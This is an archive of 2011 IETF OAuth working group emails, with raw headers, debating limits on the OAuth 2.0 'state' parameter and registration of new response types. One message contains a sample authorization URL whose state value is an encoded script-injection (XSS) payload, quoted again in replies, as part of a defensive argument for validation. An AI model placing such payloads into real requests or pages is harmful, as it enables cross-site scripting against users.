X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.58 X-Spam-Level: X-Spam-Status: No, score=-2.58 tagged_above=-999 required=5 tests=[AWL=0.019, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id CKJ+--hdAbC5 for ; Wed, 20 Jul 2011 09:12:03 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id DD04021F8AEF for ; Wed, 20 Jul 2011 09:12:02 -0700 (PDT) Received: (qmail 7803 invoked from network); 20 Jul 2011 16:12:02 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 20 Jul 2011 16:12:02 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 20 Jul 2011 09:11:51 -0700 From: Eran Hammer-Lahav To: Bob Van Zant , Breno Date: Wed, 20 Jul 2011 09:11:22 -0700 Thread-Topic: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Thread-Index: AcxG93X3g4hR/TwEToirqrTU10zrzAAACQdw Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 16:12:03 -0000 Can you provide examples of bad values and how they make the implementation= less secure? What's the attack vector here? EHL > -----Original Message----- > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:10 AM > To: Breno; Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter >=20 > I think somewhere in here my original comments got lost. The spec, as > written, provides no limitations on what can go in the state variable. > If we don't define those limitations in the spec implementors are going t= o > define their own limitations (I'm on the verge of doing it myself). >=20 > I propose that the state variable be limited to the set of characters [a-= zA-Z0- > 9_-] and be restricted to a maximum length of 150 characters. > It's simple, doesn't require URL encoding, and will be hard for a client > application to turn into a vulnerability. It provides plenty of uniquenes= s (it can > fit a sha512) for even the largest and most used client applications. >=20 > -Bob >=20 >=20 > On Wed, Jul 20, 2011 at 8:24 AM, Breno > wrote: > > > > > > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > > > wrote: > >> > >> > >> > -----Original Message----- > >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > >> > Behalf Of Eliot Lear > >> > Sent: Sunday, July 17, 2011 2:49 AM > >> > >> > One other point: if the redirection_uri can have fragments and can > >> > be provided, why is state necessary? > >> > >> First, I assume you mean query instead of fragment. > >> > >> This was discussed on the list about a year ago. There isn't a > >> requirement to support both dynamic redirection URIs as well as a > >> special state parameter. However, the state parameter provides a > >> better way to allow customization of the redirection request > >> alongside full registration of the redirection URI. Section 3.1.2 > >> recommends using the state parameter over changing the redirection URI > itself. > >> > >> Using state is much simpler because the authorization server does not > >> have to implement potentially insecure URI comparison algorithms for > >> dynamic redirection URIs. > > > > Agree -- for instance, Google's provider doesn't allow arbitrary > > dynamic specification of query or fragment parameters in redirect > > URIs, for instance, due largely to security considerations. > > > >> > >> EHL > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > > > > > > > > -- > > Breno de Medeiros > > > > From bigbadbob0@gmail.com Wed Jul 20 09:28:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 64AA521F8AF4 for ; Wed, 20 Jul 2011 09:28:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.883 X-Spam-Level: X-Spam-Status: No, score=-2.883 tagged_above=-999 required=5 tests=[AWL=0.094, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 9jp+Rv+HPkoe for ; Wed, 20 Jul 2011 09:28:44 -0700 (PDT) Received: from mail-qy0-f172.google.com (mail-qy0-f172.google.com [209.85.216.172]) by ietfa.amsl.com (Postfix) with ESMTP id 5567521F8915 for ; Wed, 20 Jul 2011 09:28:44 -0700 (PDT) Received: by qyk9 with SMTP id 9so3615799qyk.10 for ; Wed, 20 Jul 2011 09:28:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=nqtX94ObFV1YYEE3JjNbc7nIFCG3Yjh3LIgSa18WPdE=; b=o7DX/ZKSkpLae46O6BsDNoNO9gCwl6FWz3wQEqYvCucLzhooHuPKPJqGZeTiZKIGIJ MmmnAyDJhpbo8Q1/3lS360vh4t3upagAPyCyjgrxrTtpnqhJyKzCvqd+sfYSPfkJwliO bSIObaQJ9M3UGUOHqTc/iCYV14rehRA5nnNlc= MIME-Version: 1.0 Received: by 10.229.30.138 with SMTP id u10mr5033294qcc.3.1311179323542; Wed, 20 Jul 2011 09:28:43 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.100.136 with HTTP; Wed, 20 Jul 2011 09:28:43 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 09:28:43 -0700 X-Google-Sender-Auth: pJuFyg5XV1W6taKcJ8rVkFoeXSA Message-ID: From: Bob Van Zant To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 16:28:45 -0000 The problem lies in the inherent trust of the state parameter. The naive client application developer assumes that state goes out to the authorization server and comes back unchanged; because that's what the spec says will happen. As a malicious person I use the client application and steal the client id when I'm redirected to the authorization server. I then craft my own authorization URL pretending to act on behalf of the client application. http://example.com/oauth/authorize?client_id=deadbeef&response_type=code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E I send that out to unsuspecting people. Those people are sent to my site; maybe they trust it. The site is asking them to authorize an application they perhaps they're familiar with. So they do. Now the assumption, and it's really not much of a leap of faith, is that some client developer is going to take that state variable and put it directly into their site. In PHP it could be something silly like: Thanks for authorizing our app, $_GET["state"]. Chrome protects me from this basic attack (I just inserted it into one of my demos): Refused to execute a JavaScript script. Source code of script found within request. Other browsers won't. Real attackers are more creative than me. -Bob On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav wrote: > Can you provide examples of bad values and how they make the implementation less secure? What's the attack vector here? > > EHL > >> -----Original Message----- >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of >> Bob Van Zant >> Sent: Wednesday, July 20, 2011 9:10 AM >> To: Breno; Eran Hammer-Lahav >> Cc: OAuth WG >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter >> >> I think somewhere in here my original comments got lost. The spec, as >> written, provides no limitations on what can go in the state variable. >> If we don't define those limitations in the spec implementors are going to >> define their own limitations (I'm on the verge of doing it myself). >> >> I propose that the state variable be limited to the set of characters [a-zA-Z0- >> 9_-] and be restricted to a maximum length of 150 characters. >> It's simple, doesn't require URL encoding, and will be hard for a client >> application to turn into a vulnerability. It provides plenty of uniqueness (it can >> fit a sha512) for even the largest and most used client applications. >> >> -Bob >> >> >> On Wed, Jul 20, 2011 at 8:24 AM, Breno >> wrote: >> > >> > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav >> > >> > wrote: >> >> >> >> >> >> > -----Original Message----- >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On >> >> > Behalf Of Eliot Lear >> >> > Sent: Sunday, July 17, 2011 2:49 AM >> >> >> >> > One other point: if the redirection_uri can have fragments and can >> >> > be provided, why is state necessary? >> >> >> >> First, I assume you mean query instead of fragment. >> >> >> >> This was discussed on the list about a year ago. There isn't a >> >> requirement to support both dynamic redirection URIs as well as a >> >> special state parameter. However, the state parameter provides a >> >> better way to allow customization of the redirection request >> >> alongside full registration of the redirection URI. Section 3.1.2 >> >> recommends using the state parameter over changing the redirection URI >> itself. >> >> >> >> Using state is much simpler because the authorization server does not >> >> have to implement potentially insecure URI comparison algorithms for >> >> dynamic redirection URIs. >> > >> > Agree -- for instance, Google's provider doesn't allow arbitrary >> > dynamic specification of query or fragment parameters in redirect >> > URIs, for instance, due largely to security considerations. >> > >> >> >> >> EHL >> >> _______________________________________________ >> >> OAuth mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> > >> > >> > >> > -- >> > Breno de Medeiros >> > >> > > From eran@hueniverse.com Wed Jul 20 10:15:39 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A189421F8681 for ; Wed, 20 Jul 2011 10:15:39 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.58 X-Spam-Level: X-Spam-Status: No, score=-2.58 tagged_above=-999 required=5 tests=[AWL=0.019, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id itcljKaDsC1N for ; Wed, 20 Jul 2011 10:15:38 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 88F3521F8680 for ; Wed, 20 Jul 2011 10:15:38 -0700 (PDT) Received: (qmail 29652 invoked from network); 20 Jul 2011 17:15:37 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 20 Jul 2011 17:15:37 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 20 Jul 2011 10:15:29 -0700 From: Eran Hammer-Lahav To: "eran@sled.com" , OAuth WG Date: Wed, 20 Jul 2011 10:15:01 -0700 Thread-Topic: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types Thread-Index: AcxF2IFuXcht7wZvT3mPDMC79ij6zgAVXKWwADSfojA= Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345020652CD2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 17:15:39 -0000 Looks like we have consensus for the new text. I'd like to ask the chairs t= o close issue 18 (or note it resolved until the I-D freeze is over and I ca= n push a revised draft). EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Eran Hammer-Lahav > Sent: Tuesday, July 19, 2011 9:24 AM > To: OAuth WG > Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New > Authorization Endpoint Response Types >=20 > Revised text. I changed it to focus on the implementation details. >=20 > In other words, all response types must be registered. If the type name > includes spaces, it changes how the value is compared (space-delimited li= st > of values where the order does not matter). That's it. Spaces only change > how values are compared. >=20 > EHL >=20 > --- >=20 > 8.4.=A0 Defining New Authorization Endpoint Response Types >=20 > =A0=A0 New response types for use with the authorization endpoint are > =A0=A0 defined and registered in the authorization endpoint response type > =A0=A0 registry following the procedure in Section 11.3.=A0 Response type > =A0=A0 names MUST conform to the response-type ABNF. >=20 > =A0=A0=A0=A0 response-type=A0 =3D response-name *( SP response-name ) > =A0=A0=A0=A0 response-name=A0 =3D 1*response-char > =A0=A0=A0=A0 response-char=A0 =3D "_" / DIGIT / ALPHA >=20 > =A0 If a response type contains one of more space characters (%x20), it = is > compared as a space-delimited list of values in which the order of val= ues > does not matter. Only one order of values can be registered, which cov= ers > all other arrangements of the same set of values. >=20 > =A0=A0 For example, the response type "token code" is left undefined by t= his > specification. > =A0 =A0However, an extension can define and register the "token code" res= ponse > type. > =A0=A0 Once registered, the same combination cannot be registered as "cod= e > token", but > =A0 =A0both values can be used to denote the same response type. >=20 > Also, change the definition of response_type in section 3.1.1: >=20 > =A0=A0 response_type > =A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0 The value MUST be one of "code" for= requesting an > =A0=A0=A0=A0=A0=A0=A0=A0 authorization code as described by Section 4.1.1= , "token" for > =A0=A0=A0=A0=A0=A0=A0=A0 requesting an access token (implicit grant) as d= escribed by > =A0=A0=A0=A0=A0=A0=A0=A0 Section 4.2.1, or a registered extension value a= s described by > =A0=A0=A0=A0=A0=A0=A0=A0 Section 8.4. If the response type contains one o= r more space characters > (%x20), it is interpreted as a space-delimited list of values, w= here > the order of values does not matter (e.g. "a b" is the same as "= b a"). >=20 >=20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Wed Jul 20 10:37:36 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E88E221F87C7 for ; Wed, 20 Jul 2011 10:37:36 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.28 X-Spam-Level: X-Spam-Status: No, score=-2.28 tagged_above=-999 required=5 tests=[AWL=-0.281, BAYES_00=-2.599, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 4mlXiztr7OTv for ; Wed, 20 Jul 2011 10:37:36 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 3771221F87AF for ; Wed, 20 Jul 2011 10:37:36 -0700 (PDT) Received: (qmail 8742 invoked from network); 20 Jul 2011 17:37:35 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 20 Jul 2011 17:37:35 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 20 Jul 2011 10:37:23 -0700 From: Eran Hammer-Lahav To: Bob Van Zant Date: Wed, 20 Jul 2011 10:36:54 -0700 Thread-Topic: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Thread-Index: AcxG+hgaeDk+Q8bmRXuNeCjV4JMNVAABq/cQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 17:37:37 -0000 I think most of your description isn't very relevant to this particular att= ack. I'll skip to the part where the legitimate client gets a maliciously m= odified state parameter value. Your concern seems to be a simple code injection attack (e.g. that some cli= ents will not properly protect their code from invalid state values). For e= xample, a client may use state to pass a JSON string and when it receives i= t back, calls eval() on the raw state value or even JSON.parse without catc= hing exceptions. The right way to address this is to add a new security consideration sectio= n discussion the various Injection Attacks possible. Using state to include= malicious code is one. Another is code injection in the redirect_uri by a = malicious client to an authorization server supporting dynamic redirection = URIs. Then of course, there really is no need for any elaborate setup for anyone = to send requests to the client redirection URI endpoint directly (without f= ollowing any of the flow). In such a case, the enforcement of safe state va= lues by the authorization server will accomplish nothing if the client does= n't perform its own validation (and we're back to square one). In other wor= ds, I can call any endpoint on the client with any malicious parameters and= try to break it. But even if you perform input validation on the client side, which should p= revent a code injection attack, you are still open to other malicious manip= ulation of the state parameter. For example, a na=EFve client can use the s= tate parameter to pass a user id so that when the redirection callback is c= alled, it can link the access token to that account. That of course, would = be a very bad thing (tm) without some protection (e.g. state cookie) which = the client can use to validate the state value. In short, over specification does not solve ignorance. We can and should hi= ghlight the possible code injection attacks on both the client and authoriz= ation server, as well as other security concerns around the state parameter= . But at the end, it is up to both the client and authorization server deve= lopers to build secure applications. So, anyone volunteering to propose text? EHL > -----Original Message----- > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:29 AM > To: Eran Hammer-Lahav > Cc: Breno; OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter >=20 > The problem lies in the inherent trust of the state parameter. The naive > client application developer assumes that state goes out to the authoriza= tion > server and comes back unchanged; because that's what the spec says will > happen. >=20 > As a malicious person I use the client application and steal the client i= d when > I'm redirected to the authorization server. >=20 > I then craft my own authorization URL pretending to act on behalf of the > client application. >=20 > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=3D > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E >=20 > I send that out to unsuspecting people. Those people are sent to my site; > maybe they trust it. The site is asking them to authorize an application = they > perhaps they're familiar with. So they do. >=20 > Now the assumption, and it's really not much of a leap of faith, is that = some > client developer is going to take that state variable and put it directly= into > their site. In PHP it could be something silly > like: >=20 > Thanks for authorizing our app, $_GET["state"]. >=20 > Chrome protects me from this basic attack (I just inserted it into one of= my > demos): Refused to execute a JavaScript script. Source code of script fou= nd > within request. Other browsers won't. Real attackers are more creative th= an > me. >=20 > -Bob >=20 >=20 >=20 >=20 >=20 > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > wrote: > > Can you provide examples of bad values and how they make the > implementation less secure? What's the attack vector here? > > > > EHL > > > >> -----Original Message----- > >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf > Of > >> Bob Van Zant > >> Sent: Wednesday, July 20, 2011 9:10 AM > >> To: Breno; Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > >> > >> I think somewhere in here my original comments got lost. The spec, as > >> written, provides no limitations on what can go in the state variable. > >> If we don't define those limitations in the spec implementors are > >> going to define their own limitations (I'm on the verge of doing it my= self). > >> > >> I propose that the state variable be limited to the set of characters > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 characters= . > >> It's simple, doesn't require URL encoding, and will be hard for a > >> client application to turn into a vulnerability. It provides plenty > >> of uniqueness (it can fit a sha512) for even the largest and most used > client applications. > >> > >> -Bob > >> > >> > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > >> wrote: > >> > > >> > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > >> > > >> > wrote: > >> >> > >> >> > >> >> > -----Original Message----- > >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > >> >> > Behalf Of Eliot Lear > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > >> >> > >> >> > One other point: if the redirection_uri can have fragments and > >> >> > can be provided, why is state necessary? > >> >> > >> >> First, I assume you mean query instead of fragment. > >> >> > >> >> This was discussed on the list about a year ago. There isn't a > >> >> requirement to support both dynamic redirection URIs as well as a > >> >> special state parameter. However, the state parameter provides a > >> >> better way to allow customization of the redirection request > >> >> alongside full registration of the redirection URI. Section 3.1.2 > >> >> recommends using the state parameter over changing the redirection > >> >> URI > >> itself. > >> >> > >> >> Using state is much simpler because the authorization server does > >> >> not have to implement potentially insecure URI comparison > >> >> algorithms for dynamic redirection URIs. > >> > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > >> > dynamic specification of query or fragment parameters in redirect > >> > URIs, for instance, due largely to security considerations. > >> > > >> >> > >> >> EHL > >> >> _______________________________________________ > >> >> OAuth mailing list > >> >> OAuth@ietf.org > >> >> https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > > >> > > >> > -- > >> > Breno de Medeiros > >> > > >> > > > From bigbadbob0@gmail.com Wed Jul 20 11:28:11 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5806821F8B08 for ; Wed, 20 Jul 2011 11:28:11 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.896 X-Spam-Level: X-Spam-Status: No, score=-2.896 tagged_above=-999 required=5 tests=[AWL=0.081, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id y6wh2r7uj+Ad for ; Wed, 20 Jul 2011 11:28:10 -0700 (PDT) Received: from mail-qy0-f172.google.com (mail-qy0-f172.google.com [209.85.216.172]) by ietfa.amsl.com (Postfix) with ESMTP id C0B2B21F8AF0 for ; Wed, 20 Jul 2011 11:28:10 -0700 (PDT) Received: by qyk9 with SMTP id 9so3693790qyk.10 for ; Wed, 20 Jul 2011 11:28:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=H/EHQoQxRcSr39UIN7N/IK3DIG73YGqwfmT9atnalEA=; b=oecqkeg7Kjd5FQn+4IMk/jVYSPSUWj+esI8CCI+3pihJ14oS1kDxFCS/sWRog4nFC6 Ef7OEwta1BloAkhVAHpRikGXY/uOxfzHO5vIQENzL0OycnWP8zESZu/UpHtfFcoA8lxi CacplgZ4d+Tzs5yYMy5QqF1LF8S1tsaz77VI0= MIME-Version: 1.0 Received: by 10.229.44.197 with SMTP id b5mr7267855qcf.117.1311186490202; Wed, 20 Jul 2011 11:28:10 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.100.136 with HTTP; Wed, 20 Jul 2011 11:28:10 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 11:28:10 -0700 X-Google-Sender-Auth: D1icX4CfrpKczdcbsMuUSAY6mlI Message-ID: From: Bob Van Zant To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 18:28:11 -0000 > In short, over specification does not solve ignorance. We can and should = highlight the possible code injection attacks on both the client and author= ization server, as well as other security concerns around the state paramet= er. But at the end, it is up to both the client and authorization server de= velopers to build secure applications. > > So, anyone volunteering to propose text? I'll give it a shot. From aiden449@gmail.com Wed Jul 20 11:38:32 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 3364521F87D3 for ; Wed, 20 Jul 2011 11:38:32 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.098 X-Spam-Level: X-Spam-Status: No, score=-3.098 tagged_above=-999 required=5 tests=[AWL=-0.100, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7w8gsVdvWEGn for ; Wed, 20 Jul 2011 11:38:30 -0700 (PDT) Received: from mail-qy0-f179.google.com (mail-qy0-f179.google.com [209.85.216.179]) by ietfa.amsl.com (Postfix) with ESMTP id 4E4E521F87A4 for ; Wed, 20 Jul 2011 11:38:30 -0700 (PDT) Received: by qyk29 with SMTP id 29so372926qyk.10 for ; Wed, 20 Jul 2011 11:38:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=2xmVQBJzb/+nlwJiVMjsuDocUumJr7zPb91vWSI8Vmc=; b=jVFnOTs0Xq8RxzUCHf3m7fcULuVUKrHEvsImxJrKu8ZpkPAVKYuz4PIkG93cE1jv1Q DpBICzkKnSaQEO91Rlgtmw7r/V2A85YLs8l25IhINsnQVAtlXEYILLZv9OQA/q45hT4s qiNDhG/noV+II7mg3oiONErOxTlP4OO5brKqM= MIME-Version: 1.0 Received: by 10.229.79.20 with SMTP id n20mr7233765qck.275.1311187108549; Wed, 20 Jul 2011 11:38:28 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Wed, 20 Jul 2011 11:38:28 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 19:38:28 +0100 Message-ID: From: Aiden Bell To: Eran Hammer-Lahav , OAuth WG Content-Type: multipart/alternative; boundary=00163646d9b3d6d45a04a8848902 Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 18:38:32 -0000 --00163646d9b3d6d45a04a8848902 Content-Type: text/plain; charset=ISO-8859-1 